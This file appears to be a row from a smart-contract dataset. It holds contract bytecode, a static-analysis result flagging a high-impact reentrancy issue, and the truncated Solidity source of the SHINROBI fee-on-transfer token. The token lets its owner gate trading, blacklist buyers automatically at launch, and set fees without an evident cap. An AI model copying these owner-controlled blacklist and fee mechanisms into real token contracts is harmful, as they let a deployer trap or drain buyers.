ffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3b906135e3565b60405180910390fd5b80601660146101000a81548160ff0219169083151502179055504360088190555050565b60185481565b60606040518060400160405280600581526020017f464d444556000000000000000000000000000000000000000000000000000000815250905090565b610fb3611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611040576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611037906135e3565b60405180910390fd5b8060198190555050565b611052611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d6906135e3565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b600061111561110e611640565b8484611813565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611180611640565b73ffffffffffffffffffffffffffffffffffffffff1614806111f65750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111de611640565b73ffffffffffffffffffffffffffffffffffffffff16145b6111ff57600080fd5b600061120a30610c3d565b9050611215816123c0565b50565b611220611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a4906135e3565b60405180910390fd5b60005b8383905081101561134c5781600560008686858181106112d3576112d2613a76565b5b90506020020160208101906112e89190612eb7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611344906139cf565b9150506112b0565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113e7611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611474576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146b906135e3565b60405180910390fd5b8060188190555050565b611486611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611513576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150a906135e3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611583576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157a90613543565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116af90613663565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611728576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171f90613563565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118069190613683565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611883576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187a90613623565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ea906134c3565b60405180910390fd5b60008111611936576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192d90613603565b60405180910390fd5b61193e610e86565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ac575061197c610e86565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ef257601660149054906101000a900460ff16611a3b576119cd610e86565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a31906134e3565b60405180910390fd5b5b601754811115611a80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7790613523565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b245750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5a90613583565b60405180910390fd5b6002600854611b7291906137b9565b4311158015611bce5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c285750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c6057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cbe576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d6b5760185481611d2084610c3d565b611d2a91906137b9565b10611d6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6190613643565b60405180910390fd5b5b6000611d7630610c3d565b9050600060195482101590506017548210611d915760175491505b808015611dab5750601660159054906101000a900460ff16155b8015611e055750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e1b575060168054906101000a900460ff165b8015611e715750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ec75750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611eef57611ed5826123c0565b60004790506000811115611eed57611eec47612257565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f995750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061204c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561204b5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561205a57600090506121e1565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121055750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561211d57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121c85750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121e057600b54600d81905550600c54600e819055505b5b6121ed84848484612648565b50505050565b600083831115829061223b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223291906134a1565b60405180910390fd5b506000838561224a919061389a565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122a760028461267590919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156122d2573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61232360028461267590919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561234e573d6000803e3d6000fd5b5050565b6000600654821115612399576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239090613503565b60405180910390fd5b60006123a36126bf565b90506123b8818461267590919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156123f8576123f7613aa5565b5b6040519080825280602002602001820160405280156124265781602001602082028036833780820191505090505b509050308160008151811061243e5761243d613a76565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156124e057600080fd5b505afa1580156124f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125189190612ee4565b8160018151811061252c5761252b613a76565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061259330601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611648565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125f795949392919061369e565b600060405180830381600087803b15801561261157600080fd5b505af1158015612625573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b80612656576126556126ea565b5b61266184848461272d565b8061266f5761266e6128f8565b5b50505050565b60006126b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061290c565b905092915050565b60008060006126cc61296f565b915091506126e3818361267590919063ffffffff16565b9250505090565b6000600d541480156126fe57506000600e54145b156127085761272b565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b60008060008060008061273f876129ce565b95509550955095509550955061279d86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a3690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287e81612ade565b6128888483612b9b565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128e59190613683565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612953576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294a91906134a1565b60405180910390fd5b5060008385612962919061380f565b9050809150509392505050565b600080600060065490506000678ac7230489e8000090506129a3678ac7230489e8000060065461267590919063ffffffff16565b8210156129c157600654678ac7230489e800009350935050506129ca565b81819350935050505b9091565b60008060008060008060008060006129eb8a600d54600e54612bd5565b92509250925060006129fb6126bf565b90506000806000612a0e8e878787612c6b565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a7883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121f3565b905092915050565b6000808284612a8f91906137b9565b905083811015612ad4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612acb906135a3565b60405180910390fd5b8091505092915050565b6000612ae86126bf565b90506000612aff8284612cf490919063ffffffff16565b9050612b5381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612bb082600654612a3690919063ffffffff16565b600681905550612bcb81600754612a8090919063ffffffff16565b6007819055505050565b600080600080612c016064612bf3888a612cf490919063ffffffff16565b61267590919063ffffffff16565b90506000612c2b6064612c1d888b612cf490919063ffffffff16565b61267590919063ffffffff16565b90506000612c5482612c46858c612a3690919063ffffffff16565b612a3690919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c848589612cf490919063ffffffff16565b90506000612c9b8689612cf490919063ffffffff16565b90506000612cb28789612cf490919063ffffffff16565b90506000612cdb82612ccd8587612a3690919063ffffffff16565b612a3690919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612d075760009050612d69565b60008284612d159190613840565b9050828482612d24919061380f565b14612d64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d5b906135c3565b60405180910390fd5b809150505b92915050565b6000612d82612d7d84613738565b613713565b90508083825260208201905082856020860282011115612da557612da4613ade565b5b60005b85811015612dd55781612dbb8882612ddf565b845260208401935060208301925050600181019050612da8565b5050509392505050565b600081359050612dee81613ede565b92915050565b600081519050612e0381613ede565b92915050565b60008083601f840112612e1f57612e1e613ad9565b5b8235905067ffffffffffffffff811115612e3c57612e3b613ad4565b5b602083019150836020820283011115612e5857612e57613ade565b5b9250929050565b600082601f830112612e7457612e73613ad9565b5b8135612e84848260208601612d6f565b91505092915050565b600081359050612e9c81613ef5565b92915050565b600081359050612eb181613f0c565b92915050565b600060208284031215612ecd57612ecc613ae8565b5b6000612edb84828501612ddf565b91505092915050565b600060208284031215612efa57612ef9613ae8565b5b6000612f0884828501612df4565b91505092915050565b60008060408385031215612f2857612f27613ae8565b5b6000612f3685828601612ddf565b9250506020612f4785828601612ddf565b9150509250929050565b600080600060608486031215612f6a57612f69613ae8565b5b6000612f7886828701612ddf565b9350506020612f8986828701612ddf565b9250506040612f9a86828701612ea2565b9150509250925092565b60008060408385031215612fbb57612fba613ae8565b5b6000612fc985828601612ddf565b9250506020612fda85828601612ea2565b9150509250929050565b600080600060408486031215612ffd57612ffc613ae8565b5b600084013567ffffffffffffffff81111561301b5761301a613ae3565b5b61302786828701612e09565b9350935050602061303a86828701612e8d565b9150509250925092565b60006020828403121561305a57613059613ae8565b5b600082013567ffffffffffffffff81111561307857613077613ae3565b5b61308484828501612e5f565b91505092915050565b6000602082840312156130a3576130a2613ae8565b5b60006130b184828501612e8d565b91505092915050565b6000602082840312156130d0576130cf613ae8565b5b60006130de84828501612ea2565b91505092915050565b6000806000806080858703121561310157613100613ae8565b5b600061310f87828801612ea2565b945050602061312087828801612ea2565b935050604061313187828801612ea2565b925050606061314287828801612ea2565b91505092959194509250565b600061315a8383613166565b60208301905092915050565b61316f816138ce565b82525050565b61317e816138ce565b82525050565b600061318f82613774565b6131998185613797565b93506131a483613764565b8060005b838110156131d55781516131bc888261314e565b97506131c78361378a565b9250506001810190506131a8565b5085935050505092915050565b6131eb816138e0565b82525050565b6131fa81613923565b82525050565b61320981613935565b82525050565b600061321a8261377f565b61322481856137a8565b935061323481856020860161396b565b61323d81613aed565b840191505092915050565b60006132556023836137a8565b915061326082613afe565b604082019050919050565b6000613278603f836137a8565b915061328382613b4d565b604082019050919050565b600061329b602a836137a8565b91506132a682613b9c565b604082019050919050565b60006132be601c836137a8565b91506132c982613beb565b602082019050919050565b60006132e16026836137a8565b91506132ec82613c14565b604082019050919050565b60006133046022836137a8565b915061330f82613c63565b604082019050919050565b60006133276023836137a8565b915061333282613cb2565b604082019050919050565b600061334a601b836137a8565b915061335582613d01565b602082019050919050565b600061336d6021836137a8565b915061337882613d2a565b604082019050919050565b60006133906020836137a8565b915061339b82613d79565b602082019050919050565b60006133b36029836137a8565b91506133be82613da2565b604082019050919050565b60006133d66025836137a8565b91506133e182613df1565b604082019050919050565b60006133f96023836137a8565b915061340482613e40565b604082019050919050565b600061341c6024836137a8565b915061342782613e8f565b604082019050919050565b61343b8161390c565b82525050565b61344a81613916565b82525050565b60006020820190506134656000830184613175565b92915050565b600060208201905061348060008301846131e2565b92915050565b600060208201905061349b60008301846131f1565b92915050565b600060208201905081810360008301526134bb818461320f565b905092915050565b600060208201905081810360008301526134dc81613248565b9050919050565b600060208201905081810360008301526134fc8161326b565b9050919050565b6000602082019050818103600083015261351c8161328e565b9050919050565b6000602082019050818103600083015261353c816132b1565b9050919050565b6000602082019050818103600083015261355c816132d4565b9050919050565b6000602082019050818103600083015261357c816132f7565b9050919050565b6000602082019050818103600083015261359c8161331a565b9050919050565b600060208201905081810360008301526135bc8161333d565b9050919050565b600060208201905081810360008301526135dc81613360565b9050919050565b600060208201905081810360008301526135fc81613383565b9050919050565b6000602082019050818103600083015261361c816133a6565b9050919050565b6000602082019050818103600083015261363c816133c9565b9050919050565b6000602082019050818103600083015261365c816133ec565b9050919050565b6000602082019050818103600083015261367c8161340f565b9050919050565b60006020820190506136986000830184613432565b92915050565b600060a0820190506136b36000830188613432565b6136c06020830187613200565b81810360408301526136d28186613184565b90506136e16060830185613175565b6136ee6080830184613432565b9695505050505050565b600060208201905061370d6000830184613441565b92915050565b600061371d61372e565b9050613729828261399e565b919050565b6000604051905090565b600067ffffffffffffffff82111561375357613752613aa5565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006137c48261390c565b91506137cf8361390c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561380457613803613a18565b5b828201905092915050565b600061381a8261390c565b91506138258361390c565b92508261383557613834613a47565b5b828204905092915050565b600061384b8261390c565b91506138568361390c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561388f5761388e613a18565b5b828202905092915050565b60006138a58261390c565b91506138b08361390c565b9250828210156138c3576138c2613a18565b5b828203905092915050565b60006138d9826138ec565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061392e82613947565b9050919050565b60006139408261390c565b9050919050565b600061395282613959565b9050919050565b6000613964826138ec565b9050919050565b60005b8381101561398957808201518184015260208101905061396e565b83811115613998576000848401525b50505050565b6139a782613aed565b810181811067ffffffffffffffff821117156139c6576139c5613aa5565b5b80604052505050565b60006139da8261390c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a0d57613a0c613a18565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613ee7816138ce565b8114613ef257600080fd5b50565b613efe816138e0565b8114613f0957600080fd5b50565b613f158161390c565b8114613f2057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ad3c1037804b1329ab2e0680a9bfe77459fae165fb7ca4b3a08602e218cb147064736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 1,431 |
0xf84926526c8d90ffdace93ae61dff2e5668c462f | /**
https://t.me/Shibrobi
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SHINROBI is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "SHINROBI";//
string private constant _symbol = "SHINROBI";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 3;//
uint256 private _taxFeeOnBuy = 9;//
//Sell Fee
uint256 private _redisFeeOnSell = 3;//
uint256 private _taxFeeOnSell = 12;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x16a3328556cbFD4d8755A8A092064815239a5882);//
address payable private _marketingAddress = payable(0x16a3328556cbFD4d8755A8A092064815239a5882);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 20000000000000000 * 10**9; //
uint256 public _maxWalletSize = 100000000000000000 * 10**9; //
uint256 public _swapTokensAtAmount = 150000000000000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
